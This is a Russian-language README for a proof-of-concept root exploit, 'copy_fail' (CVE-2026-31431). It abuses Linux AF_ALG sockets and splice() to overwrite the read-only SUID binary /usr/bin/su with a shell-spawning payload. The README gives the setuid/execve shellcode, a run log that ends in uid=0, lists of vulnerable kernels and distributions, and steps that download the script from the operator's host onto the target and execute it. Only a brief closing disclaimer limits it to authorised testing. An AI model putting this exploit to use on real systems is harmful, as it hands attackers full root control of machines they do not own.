
PoC shell-эксплойт для CVE-2026-31431 (copy_fail) — LPE в Linux через AF_ALG + перезапись page-cache через splice. Одношаговый, без гонки, ядро 4.9–6.18.
Локальное повышение привилегий через AF_ALG-сокет + перезапись page cache с помощью splice().
Перезаписывает бинарный файл SUID, доступный только для чтения (/usr/bin/su), минимальным ELF-файлом, который вызывает setuid(0) + execve("/bin/sh"). Без гонок, без привязки к дистрибутивам, с одного выстрела.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 в уязвимом диапазоне (4.9 – 6.18) — продолжаем
[*] Компиляция...
[+] Компиляция успешна — запуск
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
Сокет AF_ALG (crypto API) ядра Linux в сочетании с splice() позволяет выполнить запись в файл, открытый с флагом O_RDONLY, путём манипуляции page cache. Ядро пропускает проверку прав на запись в shortcut-ветке copy-on-write внутри splice-пути ALG-сокета — тот же класс ошибки, что и Dirty Pipe (CVE-2022-0847), но срабатывающий через другой код-путь, появившийся в ядре 4.9.
| Диапазон ядра | Статус |
|---|---|
| < 4.9 | Не затронут (уязвимый код-путь отсутствует) |
| 4.9 – 6.18 | Уязвим (~9 лет, 2017–2026) |
| ≥ 6.19 | Исправлено |
| Дистрибутив | Ядро |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc на целевой системе/tmp# На целевой системе
wget http://<ваш-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
Скрипт выполнит следующее:
/usr/bin/su полезной нагрузкой root-оболочкиAF_ALG-сокет (AEAD)
│
│ sendmsg() с подготовленными ancillary-данными (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (сокет операции)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
Splice-путь ядра внутри ALG-сокета пропускает проверку прав copy-on-write, записывая напрямую в page cache целевого файла, несмотря на то, что он открыт только для чтения. Полезная нагрузка (ELF-файл размером 160 байт) записывается по 4 байта за итерацию в течение 40 итераций.
Шеллкод полезной нагрузки:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| Файл | Описание |
|---|---|
copy_fail_exp.sh | Bash-скрипт — компилирует и запускает на целевой системе, Python не требуется |
copy_fail_exp.py | Оригинальная версия на Python для справки |
copy_fail_exp_deobfuscated.py | Деобфусцированная и аннотированная версия на Python |
Только для авторизованного тестирования безопасности и сред CTF/лабораторий. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.